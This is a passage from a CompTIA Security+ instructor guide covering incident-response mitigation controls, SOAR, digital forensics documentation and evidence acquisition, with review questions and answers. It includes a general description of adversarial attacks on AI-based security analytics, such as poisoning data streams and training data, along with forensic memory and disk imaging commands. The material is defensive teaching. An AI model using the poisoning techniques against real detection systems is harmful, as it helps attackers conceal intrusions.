attack may reveal the necessity of investing in DLP as a security control if one is not
already implemented. If DLP is enabled and configured in the correct way to enforce
policy, the attacker may have been able to circumvent it using a backdoor method
that the DLP software cannot scan. Alternatively, the attacker may have been able to
disguise the data so that it was not recognized.

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 478 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Mobile Device Management (MDM)

Mobile Device Management (MDM) provides execution control over apps and features
of smartphones. Features include GPS, camera, and microphone. As with DLP, an
intrusion might reveal a vector that allowed the threat actor to circumvent enrollment
or a misconfiguration in the MDM's policy templates.

Update or Revoke Certificates

Compromise of the private key represented by a digital certificate or the ability to
present spoofed certificates as trusted is a critical security vulnerability as it allows an
attacker to impersonate trusted resources and potentially gain unauthorized access to
secure systems.
• Remove compromised root certificates—if an attacker has managed to install a
root certificate, the attacker can make malicious hosts and services seem trusted.
Suspicious root certificates must be removed from the client's cache.

• Revoke certificates on compromised hosts—if a host is compromised, the private

key it used for digital signatures or digital envelopes is no longer safe. The certificate
associated with the key should be revoked using the Key Compromise property.
The certificate can be rekeyed with a new key pair but the same subject and expiry
information.

Show Slide(s) Endpoint Configuration Changes

Endpoint
If endpoint security is breached, there are several classes of vector to consider for
Configuration Changes mitigation:
• Social engineering—if the malware was executed by a user, use security education
and awareness to reduce the risk of future attacks succeeding. Review permissions
to see if the account could be operated with a lower privilege level.

• Vulnerabilities—if the malware exploited a software fault, either install the patch or
isolate the system until a patch can be developed.

• Lack of security controls—if the attack could have been prevented by endpoint
protection/A-V, host firewall, content filtering, DLP, or MDM, investigate the
possibility of deploying them to the endpoint. If this is not practical, isolate the
system from being exploited by the same vector.

• Configuration drift—if the malware exploited an undocumented configuration

change (shadow IT software or an unauthorized service/port, for instance), reapply
the baseline configuration and investigate configuration management procedures
to prevent this type of ad hoc change.

• Weak configuration—if the configuration was correctly applied, but was exploited
anyway, review the template to devise more secure settings. Make sure the
template is applied to similar hosts.

Application Allow Lists and Block Lists

One element of endpoint configuration is an execution control policy that defines
applications that can or cannot be run.
• An allow list (or approved list) denies execution unless the process is explicitly
authorized.

• A block list (or deny list) generally allows execution, but explicitly prohibits listed
processes.

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 479

You will need to update the contents of allow lists and block lists in response to
incidents and as a result of ongoing threat hunting and monitoring. Threat hunting
may also provoke a strategic change. For example, if you rely principally on explicit
denies, but your systems are subject to numerous intrusions, you will have to consider
adopting a "least privileges" model and using a deny-unless-listed approach. This sort
of change has the potential to be highly disruptive however, so it must be preceded by
a risk assessment and business impact analysis.
Execution control can also be tricky to configure effectively, with many opportunities
for threat actors to evade the controls. Detailed analysis of the attack might show the
need for changes to the existing mechanism, or the use of a more robust system.

Quarantine
If mitigating techniques are not successful, or the results are uncertain, the endpoint
will require careful management before being integrated back onto the network. If
further evidence needs to be gathered, the best approach may be to quarantine or
sandbox the endpoint or suspect process/file. This allows for analysis of the attack or
tool and collection of evidence using digital forensic techniques.

Security Orchestration, Automation, and Response Show Slide(s)

Automation is the action of scripting a single activity, while orchestration is the action of Security Orchestration,
coordinating multiple automations (and possibly manual activity) to perform a complex, Automation, and
multistep task. In the case of security orchestration, automation, and response Response
(SOAR), this task is principally incident response, though the technologies can also be
used for tasks such as threat hunting too. SOAR is designed as a solution to the problem
of the volume of alerts overwhelming analysts' ability to respond, measured as the
mean time to respond (MTTR). A SOAR may be implemented as a standalone technology
or integrated with a SIEM—often referred to as a next-gen SIEM. The basis of SOAR
is to scan the organization's store of security and threat intelligence, analyze it using
machine/deep learning techniques, and then use that data to automate and provide data
enrichment for the workflows that drive incident response and threat hunting. It can also
assist with provisioning tasks, such as creating and deleting user accounts, making shares
available, or launching VMs from templates, to try to eliminate configuration errors. The
SOAR will use technologies such as cloud and SDN/SDV APIs, orchestration tools, and
cyberthreat intelligence (CTI) feeds to integrate the different systems that it is managing.
It will also leverage technologies such as automated malware signature creation and user
and entity behavior analytics (UEBA) to detect threats.
An incident response workflow is usually defined as a playbook. A playbook is a
checklist of actions to perform to detect and respond to a specific type of incident. A
playbook should be made highly specific by including the query strings and signatures
that will detect a particular type of incident. A playbook will also account for compliance
factors, such as whether an incident must be reported as a breach plus when and
to whom notification must be made. Where a playbook is implemented with a high
degree of automation from a SOAR system, it can be referred to as a runbook, though
the terms are also widely used interchangeably. The aim of a runbook is to automate
as many stages of the playbook as possible, leaving clearly defined interaction points
for human analysis. These interaction points should try to present all the contextual
information and guidance needed for the analyst to make a quick, informed decision
about the best way to proceed with incident mitigation.

Rapid7 have produced an ebook demonstrating the uses of SOAR (rapid7.com/info/

security-orchestration-and-automation-playbook/?x=d67w-U). A white paper by
Demisto provides a useful overview of the role of SOAR across different organizations
(cdn2.hubspot.net/hubfs/5003120/Content%20Downloads/White%20Papers/Demisto%20-
%20State%20of%20SOAR.pdf).

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 480 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Adversarial Artificial Intelligence

Adversarial Artificial
Artificial Intelligence (AI)-type systems are used extensively for user and entity behavior
Intelligence analytics (UEBA). A UEBA is trained on security data from customer systems and
honeypots. This allows the AI to determine features of malicious code and account
activity and to recognize those features in novel data streams. To make use of UEBA,
host event data and network traffic is streamed to a cloud-based analytics service. An
attacker with undetected persistent access to the network, but with a low probability of
effecting lateral movement or data exfiltration, may be in a position to inject traffic into
this data stream with a long-term goal of concealing tools that could achieve actions on
objectives. The attacker may use his or her own AI resources as a means of generating
samples, hence adversarial AI. Manipulated samples could also be uploaded to public
repositories, such as virustotal.com.
For example, ML algorithms are highly sensitive to noise. This is demonstrated in image
recognition cases, where given a doctored image of a turtle, an AI will identify it as a
rifle (theregister.com/2017/11/06/mit_fooling_ai). To a human observer, the image
appears to be that of a perfectly ordinary turtle. Similar techniques might be used to
cause an AI to miscategorize an attack tool as a text editor.
Successful adversarial attacks mostly depend on knowledge of the algorithms used
by the target AI. This is referred to as a white box attack. Keeping those algorithms
secret forces the adversarial AI to use black box techniques, which are more difficult
to develop. Algorithm secrecy is secrecy by obscurity, however, and difficult to ensure.
Other solutions include generating adversarial examples and training the system
to recognize them. Another option is to develop a filter that can detect and block
adversarial samples as they are submitted.

A Microsoft presentation at BlackHat illustrates some of the techniques that can be used
to mitigate adversarial AI (i.blackhat.com/us-18/Thu-August-9/us-18-Parikh-Protecting-the-
Protector-Hardening-Machine-Learning-Defenses-Against-Adversarial-Attacks.pdf).

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 481

Review Activity:
Mitigation Controls
Answer the following questions:

1. What low-level networking feature will facilitate a segmentation-based

approach to containing intrusion events?

Network segmentation is primarily achieved by virtual LANs (VLANs). A VLAN can be

isolated from the rest of the network.

2. What configuration change could you make to prevent misuse of a

developer account?

Disable the account.

3. Following a loss of critical IP exfiltrated from the local network to a public

cloud storage network, you decide to implement a type of outbound
filtering system. Which technology is most suitable for implementing the
filter?

This task is suited to data loss prevention (DLP), which can block the transfer of tagged
content over unauthorized channels.

4. A threat actor gained access to a remote network over a VPN. Later, you
discover footage of the user of the hacked account being covertly filmed
while typing their password. What type of endpoint security solution might
have prevented this breach?

A mobile device management (MDM) suite can prevent use of the camera function of a
smartphone.

5. True or false? SOAR is intended to provide wholly automated incident

response solutions.

False—incident response is too complex to be wholly automated. SOAR assists the

provision of runbooks, which orchestrates the sequence of response and automate
parts of it, but still requires decision-making from a human responder.

6. You are investigating a client workstation that has not obtained updates to
its endpoint protection software for days. On the workstation you discover
thousands of executable files with random names. The local endpoint log
reveals that all of them have been scanned and identified as malware. You
can find no evidence of any further intrusion on the network. What is the
likely motive of the threat actor?

This could be an offline tainted data attack against the endpoint software's
identification engine.

Lesson 17: Performing Incident Response | Topic 17C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 482 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 17
Summary
Teaching You should be able explain the process and procedures involved in effective incident
Tip response and implement strategies to remediate intrusion events.
Check that students
are confident about
the content that has
Guidelines for Performing Incident Response
been covered. If there
Follow these guidelines for developing or improving incident response policies and
is time, revisit any
content examples that procedures:
they have questions • Identify goals for implementing structured incident response, following the
about. If you have
used all the available preparation, identification, containment, eradication, recovery, and lessons
time for this lesson learned steps.
block, note the issues,
and schedule time for • Prepare for effective incident response by creating a CIRT/CERT/CSIRT with suitable
a review later in the communications resources and policies.
course.
• Develop an incident classification system and prepare IRPs and playbooks for
Interaction distinct incident scenarios, using attack frameworks (kill chain, Diamond Model, and
Opportunity MITRE ATT&CK) to facilitate analysis.
Use this as an
opportunity for • Consider whether implementing SOAR and automated runbooks could provide
students to share more effective response, taking care to protect AI-backed systems from tainted
their real-world training data attacks.
experiences with
security incidents. You • Configure SIEM or syslog to aggregate appropriate data sources and develop
may also encourage
correlation rules display alerts, status indicators, and trend analysis via dashboards:
them to brainstorm
appropriate responses
• Host log file data sources (network, system, security, vulnerability scan output).
to hypothetical
scenarios. Consider
• Application log file data sources (DNS, web, VoIP).
recording the
incidents and
• Network packet and intrusion detection data.
responses for
review, and present
• Network traffic and protocol flow statistics.
additional content
to see if students
• Integrate incident response containment, eradication, and recovery processes
would want to change
the responses they with procedures for forensic evidence collection, disaster recovery, and business
provided. continuity.

• Identify standard strategies for containment via isolation and segmentation.

• Ensure that the recovery process applies necessary configuration changes to

firewalls, content filters, MDM, DLP, certificate security, and endpoint application
control.

Lesson 17: Performing Incident Response

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 18
Explaining Digital Forensics

LESSON INTRODUCTION Teaching

Tip
Where incident response emphasizes the swift eradication of malicious activity, Forensics follows
digital forensics requires patient capture, preservation, and analysis of evidence using on from incident
verifiable methods. You may be called on to assist with an investigation into the details response, but note
of a security incident and to identify threat actors. To assist these investigations, you the difference in
must be able to summarize the basic concepts of collecting and processing forensic approach.
evidence that could be used in legal action or for strategic counterintelligence.

Lesson Objectives
In this lesson, you will:
• Explain key aspects of digital forensics documentation.

• Explain key aspects of digital forensics evidence acquisition.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 484 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 18A
Explain Key Aspects of Digital
Forensics Documentation

Teaching EXAM OBJECTIVES COVERED

Tip 4.5 Explain the key aspects of digital forensics
The first topic
focuses on the
documentation/
evidence content
Documentation is critical to collecting, preserving, and presenting valid digital proofs.
examples. This Mistakes or gaps in the record of the process can lead to the evidence being dismissed.
content is quite You should be able to explain key aspects of forensics documentation so that you give
straightforward, so effective assistance to investigators.
hopefully you should
not need to spend
much time on this Key Aspects of Digital Forensics
topic.
Digital forensics is the practice of collecting evidence from computer systems to a
Show Slide(s) standard that will be accepted in a court of law. Forensics investigations are most likely
to be launched against crimes arising from insider threats, notably fraud or misuse
Key Aspects of Digital of equipment (to download or store obscene material, for instance). Prosecuting
Forensics external threat sources is often difficult, as the threat actor may well be in a different
country or have taken effective steps to disguise his or her location and identity. Such
Teaching prosecutions are normally initiated by law enforcement agencies, where the threat is
Tip directed against military or governmental agencies or is linked to organized crime.
Discuss why digital
forensics techniques Evidence, Documentation, and Admissibility
might be used
even if no criminal Like DNA or fingerprints, digital evidence is latent. Latent means that the evidence
prosecution is
cannot be seen with the naked eye; rather, it must be interpreted using a machine or
planned. Stress that
the same standards process. This means that great care must be taken to ensure the admissibility of digital
of evidence collection evidence. As well as the physical evidence (a hard drive, for instance), digital forensics
must be applied, even requires documentation showing how the evidence was collected and analyzed without
if the investigation is a tampering or bias.
purely internal one.
Due process is a term used in US and UK common law to require that people only
be convicted of crimes following the fair application of the laws of the land. More
generally, due process can be understood to mean having a set of procedural
safeguards to ensure fairness. This principle is central to forensic investigation. If
a forensic investigation is launched (or if one is a possibility), it is important that
technicians and managers are aware of the processes that the investigation will use.
It is vital that they are able to assist the investigator and that they not do anything
to compromise the investigation. In a trial, defense counsel will try to exploit any
uncertainty or mistake regarding the integrity of evidence or the process of collecting it.
The first response period following detection and notification is often critical. To
gather evidence successfully, it is vital that staff do not panic or act in a way that would
compromise the investigation.

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 485

Legal Hold
Legal hold refers to the fact that information that may be relevant to a court case
must be preserved. Information subject to legal hold might be defined by regulators
or industry best practice, or there may be a litigation notice from law enforcement or
lawyers pursuing a civil action. This means that computer systems may be taken as
evidence, with all the obvious disruption to a network that entails.

Chain of Custody
Chain of custody documentation reinforces the integrity and proper handling of
evidence from collection, to analysis, to storage, and finally to presentation. When
security breaches go to trial, the chain of custody protects an organization against
accusations that evidence has either been tampered with or is different than it was
when it was collected. Every person in the chain who handles evidence must log the
methods and tools they used.

Digital Forensics Reports Show Slide(s)

A digital forensics report summarizes the significant contents of the digital data and the Digital Forensics
conclusions from the investigator's analysis. It is important to note that strong ethical Reports
principles must guide forensics analysis.
• Analysis must be performed without bias. Conclusions and opinions should be
formed only from the direct evidence under analysis.

• Analysis methods must be repeatable by third parties with access to the same
evidence.

• Ideally, the evidence must not be changed or manipulated. If a device used as

evidence must be manipulated to facilitate analysis (disabling the lock feature of a
mobile phone or preventing a remote wipe for example), the reasons for doing so
must be sound and the process of doing so must be recorded.

Defense counsel may try to use any deviation of good ethical and professional behavior
to have the forensics investigator's findings dismissed.

E-Discovery Show Slide(s)

A forensic examination of a device such as a fixed drive that contains Electronically E-discovery
Stored Information (ESI) entails a search of the whole drive (including both allocated
and unallocated sectors, for instance). E-discovery is a means of filtering the relevant
evidence produced from all the data gathered by a forensic examination and storing
it in a database in a format such that it can be used as evidence in a trial. E-discovery
software tools have been produced to assist this process. Some of the functions of
e-discovery suites are:
• Identify and de-duplicate files and metadata—many files on a computer system are
"standard" installed files or copies of the same file. E-discovery filters these types of
files, reducing the volume of data that must be analyzed.

• Search—allow investigators to locate files of interest to the case. As well as keyword

search, software might support semantic search. Semantic search matches
keywords if they correspond to a particular context.

• Tags—apply standardized keywords or labels to files and metadata to help organize

the evidence. Tags might be used to indicate relevancy to the case or part of the
case or to show confidentiality, for instance.

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 486 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Security—at all points evidence must be shown to have been stored, transmitted,
and analyzed without tampering.

• Disclosure—an important part of trial procedure is that the same evidence be made
available to both plaintiff and defendant. E-discovery can fulfill this requirement.
Recent court cases have required parties to a court case to provide searchable ESI
rather than paper records.

Show Slide(s) Video and Witness Interviews

Video and Witness
The first phase of a forensics investigation is to document the scene. The crime scene
Interviews must be recorded using photographs and ideally audio and video. Investigators must
capture every action they take in identifying, collecting, and handling evidence.

Remember that if the matter comes to trial, the trial could take place months or years after
the event. It is vital to record impressions and actions in notes. Also consider that in-place
CCTV systems or webcams might have captured valuable evidence.

If possible, evidence is gathered from the live system using forensic software tools. It is
vital that these tools do as little to modify the digital data that they capture as possible.
As well as digital evidence, an investigator should interview witnesses to establish
what they were doing at the scene, whether they observed any suspicious behavior or
activity, and also to gather information about the computer system. An investigator
might ask questions informally and record the answers as notes to gain an initial
understanding of the circumstances surrounding an incident. An investigator must
ask questions carefully, to ensure that the witness is giving reliable information and
to avoid leading the witness to a particular conclusion. Making an audio or video
recording of witness statements produces a more reliable record but may make
witnesses less willing to make a statement. If a witness needs to be compelled to make
a statement, there will be legal issues around employment contracts (if the witness is
an employee) and right to legal representation.

Show Slide(s) Timelines

Timelines
A significant part of a forensic investigation will involve tying events to specific times
to establish a consistent and verifiable narrative. The visual representation of events
happening in chronological order is called a timeline.
Operating systems and file systems use a variety of methods to identify the time at
which something occurred. The benchmark time is Coordinated Universal Time (UTC),
which is essentially the time at the Greenwich meridian. Local time is the time within a
particular time zone, which will be offset from UTC by several hours (or in some cases,
half hours). The local time offset may also vary if a seasonal daylight saving time is in
place.
NTFS uses UTC "internally" but many OS and file systems record time stamps as the
local system time. When collecting evidence, it is vital to establish how a time stamp is
calculated and note the offset between the local system time and UTC.
Forensics also needs to consider that a host's system clock may not be properly
synchronized to a valid time source or may have been tampered with. Most computers
are configured to synchronize the clock to a Network Time Protocol (NTP) server.
Closely synchronized time is important for authentication and audit systems to work
properly. The right to modify a computer's time would normally be restricted to
administrator-level accounts (on enterprise networks) and time change events should
be logged.

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 487

Using Autopsy to generate a timeline of events from a disk image.

(Screenshot Autopsy—the Sleuth Kit sleuthkit.org/autopsy.)

Event Logs and Network Traffic Show Slide(s)

Digital evidence is not just drawn from analysis of host system memory and data Event Logs and
drives. An investigation may also obtain the event logs for one or more network Network Traffic
appliances and/or server hosts. Similarly, network packet captures and traces/flows
might provide valuable evidence. On a typical network, sensor and logging systems are
not configured to record all network traffic, as this would generate a very considerable
amount of data. On the other hand, an organization with sufficient IT resources could
choose to preserve a huge amount of data. A Retrospective Network Analysis (RNA)
solution provides the means to record network events at either a packet header or
payload level.
For forensics, data records that are not supported by physical evidence (a data drive)
must meet many tests to be admissible in court. For event logs, the drives might not
be accessible or might no longer hold the original logs; for network traffic, there is no
physical evidence. Where logs and network traffic are captured in a SIEM, the SIEM
should demonstrate accuracy (that all relevant data was captured) and integrity (that
neither party could have tampered with the data).

Strategic Intelligence and Counterintelligence Show Slide(s)

In some cases, an organization may conduct a forensics investigation without the Strategic
expectation of legal action. As well as being used in a legal process, forensics has a Intelligence and
role to play in cybersecurity. It enables the detection of past intrusions or ongoing but Counterintelligence
unknown intrusions by close examination of available digital evidence. A famous quote
attributed to former Cisco CEO John Chambers illustrates the point: "There are two
types of companies: those that have been hacked, and those who don't know they have
been hacked."

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 488 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Digital forensics can be used for information gathering to protect against espionage
and hacking. This intelligence is deployed in two different ways:
• Counterintelligence—identification and analysis of specific adversary tactics,
techniques, and procedures (TTP) provides information about how to configure
and audit active logging systems so that they are most likely to capture evidence of
attempted and successful intrusions.

• Strategic intelligence—data and research that has been analyzed to produce

actionable insights. These insights are used to inform risk management and security
control provisioning to build mature cybersecurity capabilities.

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 489

Review Activity:
Digital Forensics Documentation
Answer the following questions:

1. What is the significance of the fact that digital evidence is latent?

The evidence cannot be seen directly but must be interpreted so the validity of the
interpreting process must be unquestionable.

2. What should be the first action at a crime scene during a forensic

investigation?

Preserve the crime scene by recording everything as is, preferably on video.

3. Why might a file time stamp not show the time at which a crime was
committed?

The time stamp may record the Universal Coordinated Time rather than the local time.
An offset would need to be applied (and it might need to be demonstrated that the
computer's time zone was correctly set).

4. You've fulfilled your role in the forensic process and now you plan on
handing the evidence over to an analysis team. What important process
should you observe during this transition, and why?

It's important to uphold a record of how evidence is handled in a chain of custody. The
chain of custody will help verify that everyone who handled the evidence is accounted
for, including when the evidence was in each person's custody. This is an important
tool in validating the evidence's integrity.

Lesson 18: Explaining Digital Forensics | Topic 18A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 490 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 18B
Explain Key Aspects of Digital Forensics
Evidence Acquisition

Teaching EXAM OBJECTIVES COVERED

Tip 4.1 Given a scenario, use the appropriate tool to assess organizational security
4.5 Explain the key aspects of digital forensics
This topic deals with
more practical issues
around evidence
There are many processes and tools for acquiring different kinds of digital evidence
collection and
integrity, plus use of from computer hosts and networks. These processes must demonstrate exactly how
the forensics tools the evidence was acquired and that it is a true copy of the system state at the time
from objective 4.1. of the event. While you may not be responsible for leading evidence acquisition,
you should be familiar with the processes and tools used, so that you can provide
assistance as required.

Show Slide(s) Data Acquisition and Order of Volatility

Data Acquisition and
Acquisition is the process of obtaining a forensically clean copy of data from a device
Order of Volatility held as evidence. If the computer system or device is not owned by the organization,
there is the question of whether search or seizure is legally valid. This impacts bring-
Teaching your-own-device (BYOD) policies. For example, if an employee is accused of fraud
Tip you must verify that the employee's equipment and data can be legally seized and
In practical terms, CPU searched. Any mistake may make evidence gained from the search inadmissible.
registers and cache
Data acquisition is also complicated by the fact that it is more difficult to capture
aren't accessible as
sources of forensics evidence from a digital crime scene than it is from a physical one. Some evidence will
evidence, but advise be lost if the computer system is powered off; on the other hand, some evidence may
students to learn the be unobtainable until the system is powered off. Additionally, evidence may be lost
full order regardless. depending on whether the system is shut down or "frozen" by suddenly disconnecting
Note that there are the power.
lots of different kinds
of cache. Data acquisition usually proceeds by using a tool to make an image from the data
held on the target device. An image can be acquired from either volatile or nonvolatile
storage. The general principle is to capture evidence in the order of volatility, from
more volatile to less volatile. The ISOC best practice guide to evidence collection
and archiving, published as tools.ietf.org/html/rfc3227, sets out the general order as
follows:
1. CPU registers and cache memory (including cache on disk controllers, GPUs, and
so on).

2. Contents of nonpersistent system memory (RAM), including routing table, ARP

cache, process table, kernel statistics.

3. Data on persistent mass storage devices (HDDs, SSDs, and flash memory devices):

• Partition and file system blocks, slack space, and free space.

• System memory caches, such as swap space/virtual memory and

hibernation files.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 491

• Temporary file caches, such as the browser cache.

• User, application, and OS files and directories.

4. Remote logging and monitoring data.

5. Physical configuration and network topology.

6. Archival media and printed documents.

The Windows registry is mostly stored on disk, but there are keys—notably HKLM\
Hardware—that only ever exist in memory. The contents of the registry can be analyzed via
a memory dump.

Digital Forensics Software Show Slide(s)

Digital forensics software is designed to assist the acquisition, documentation, and Digital Forensics
analysis of digital evidence. Most of the commercial forensics tools are available for the Software
Windows platform only.
• EnCase Forensic is a digital forensics case management product created by
Guidance Software (guidancesoftware.com/encase-forensic?cmpid=nav_r). Case
management is assisted by built-in pathways, or workflow templates, showing the
key steps in diverse types investigation. In addition to the core forensics suite, there
are separate products for e-discovery (digital evidence management) and Endpoint
Investigator (for over the network analysis of corporate desktops and servers).

• The Forensic Toolkit (FTK) from AccessData (accessdata.com/products-services/

forensic-toolkit-ftk) is another commercial investigation suite designed to run on
Windows Server (or server cluster). Show Slide(s)

• The Sleuth Kit (sleuthkit.org) is an open-source collection of command line tools System Memory
and programming libraries for disk imaging and file analysis. Autopsy is a graphical Acquisition
front-end for these tools and acts as a case management/workflow tool. The
program can be extended with plug-ins for various analysis functions. Autopsy is Teaching
available for Windows and can be compiled from the source code to run on Linux. Tip
Remind students
• WinHex from X-Ways (x-ways.net/winhex) is a commercial tool for forensic recovery that there is no
and analysis of binary data, with support for a range of file systems and memory physical evidence
dump types (depending on version). to validate a system
memory image, so
• The Volatility Framework (github.com/volatilityfoundation/volatility) is widely used the provenance of the
for system memory analysis. capture can only be
established by video
recording the process.
System Memory Acquisition Note that one of the
functions of EDR
System memory is volatile data held in Random Access Memory (RAM) modules. is to perform live
Volatile means that the data is lost when power is removed. A system memory memory capture when
suspicious activity is
dump creates an image file that can be analyzed to identify the processes that are detected (carbonblack.
running, the contents of temporary file systems, registry data, network connections, com/blog/using-
cryptographic keys, and more. It can also be a means of accessing data that is carbon-black-with-
encrypted when stored on a mass storage device. There are various methods of volatility-for-detecting-
collecting the contents of system memory. memory-attacks).

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 492 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Viewing the process list in a memory dump using the Volatility Framework.
(Screenshot Volatility Framework volatilityfoundation.org.)

Live Acquisition
A specialist hardware or software tool can capture the contents of memory while the
host is running. Unfortunately, this type of tool needs to be preinstalled as it requires a
kernel mode driver to dump any data of interest. Some examples for Windows include
WinHex (x-ways.net/winhex), Memoryze from FireEye (fireeye.com/services/freeware/
memoryze.html), and F-Response TACTICAL (f-response.com/software/tac).
On Linux, a user mode tool, such as memdump (porcupine.org/forensics/tct.html)
or dd, can be run against the /dev/mem device file. However, on most modern
distributions, access to this file is blocked. The Volatility Framework (github.com/
volatilityfoundation/volatility) includes a tool to install a kernel driver (pmem).
The fmem and LiME kernel utilities provide similar functionality.

Crash Dump
When Windows encounters an unrecoverable kernel error, it can write contents of
memory to a dump file at C:\Windows\MEMORY.DMP. On modern systems, there is
unlikely to be a complete dump of all the contents of memory, as these could take up
a lot of disk space. However, even mini dump files, stored in C:\Windows\Minidumps,
may be a valuable source of information.

Hibernation File and Pagefile

A hibernation file is created on disk in the root folder of the boot volume when
a Windows host is put into a sleep state. If it can be recovered, the data can be
decompressed and loaded into a software tool for analysis. The drawback is that
network connections will have been closed, and malware may have detected the use of
a sleep state and performed anti-forensics.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 493

The pagefile/swap file/swap partition stores pages of memory in use that exceed
the capacity of the host's RAM modules. The pagefile is not structured in a way that
analysis tools can interpret, but it is possible to search for strings.

Disk Image Acquisition Show Slide(s)

Disk image acquisition refers to acquiring data from nonvolatile storage. Nonvolatile Disk Image Acquisition
storage includes hard disk drives (HDDs), solid state drives (SSDs), firmware, other
types of flash memory (USB thumb drives and memory cards), and optical media (CD,
DVD, and Blu-Ray). This can also be referred to as device acquisition, meaning the SSD
storage in a smartphone or media player. Disk acquisition will also capture the OS
installation, if the boot volume is included.
There are three device states for persistent storage acquisition:
• Live acquisition—this means copying the data while the host is still running. This
may capture more evidence or more data for analysis and reduce the impact on
overall services, but the data on the actual disks will have changed, so this method
may not produce legally acceptable evidence. It may also alert the adversary and
allow time for them to perform anti-forensics.
• Static acquisition by shutting down the host—this runs the risk that the malware will
detect the shutdown process and perform anti-forensics to try to remove traces of
itself.
• Static acquisition by pulling the plug—this means disconnecting the power at the
wall socket (not the hardware power-off button). This is most likely to preserve the
storage devices in a forensically clean state, but there is the risk of corrupting data.
Given sufficient time at the scene, you may decide to perform both a live and static
acquisition. Whichever method is used, it is imperative to document the steps taken
and supply a timeline for your actions.
There are many GUI imaging utilities, including those packaged with suites such as the
Forensic Toolkit and its FTK Imager. You should note that the EnCase forensics suite
uses a vendor file format (.e01) compared to the raw file format used by Linux tools
like dd. The file format is important when it comes to selecting a tool for analyzing the
image. The .eo1 format allows image metadata (such as the checksum, drive geometry,
and acquisition time) to be stored within the same file. The open-source Advanced
Forensic Format (AFF) provides similar features.
If no specialist tool is available, on a Linux host you can use the dd command to make
a copy of an input file (if=) to an output file (of=) and apply optional conversions to
the file data. In the following sda is the fixed drive:
dd if=/dev/sda of=/mnt/usbstick/backup.img
A more recent fork of dd is dcfldd, which provides additional features like multiple
output files and exact match verification.

Using dcfldd (a version of dd with additional forensics functionality created by the DoD)
and generating a hash of the source-disk data (sda).

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 494 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Preservation and Integrity of Evidence

Preservation and
It is vital that the evidence collected at the crime scene conform to a valid timeline.
Integrity of Evidence Digital information is susceptible to tampering, so access to the evidence must be
tightly controlled. Recording the whole process establishes the provenance of the
Teaching evidence as deriving directly from the crime scene.
Tip
To obtain a forensically sound image from nonvolatile storage, you need to ensure that
Note that imaging nothing you do alters data or metadata (properties) on the source disk or file system. A
tools make bit-level
write blocker assures this process by preventing any data on the disk or volume from
copies of the media.
They do not use the being changed by filtering write commands at the driver and OS level. Data acquisition
OS file system to would normally proceed by attaching the target device to a forensics workstation or
mediate access. This field capture device equipped with a write blocker.
allows them to capture
artifacts that may be Data Acquisition with Integrity and Non-Repudiation
hidden from the file
system. Once the target disk has been safely attached to the forensics workstation, data
If necessary, remind acquisition proceeds as follows:
students how
cryptographic hash 1. A cryptographic hash of the disk media is made, using either the MD5 or SHA
functions prove hashing function. The output of the function can be described as a checksum.
integrity.
2. A bit-by-bit copy of the media is made using the imaging utility.

3. A second hash is then made of the image, which should match the original hash
of the media.

4. A copy is made of the reference image, validated again by the checksum. Analysis
is performed on the copy.

This proof of integrity ensures non-repudiation. If the provenance of the evidence

is certain, the threat actor identified by analysis of the evidence cannot deny their
actions. The checksums prove that no modification has been made to the image.

In practical terms, the image acquisition software will perform the verification steps as part
of the acquisition process, but in theory you could use separate tools to perform each stage
individually.

Preservation of Evidence
The host devices and media taken from the crime scene should be labeled, bagged,
and sealed, using tamper-evident bags. It is also appropriate to ensure that the
bags have antistatic shielding to reduce the possibility that data will be damaged
or corrupted on the electronic media by electrostatic discharge (ESD). Each piece of
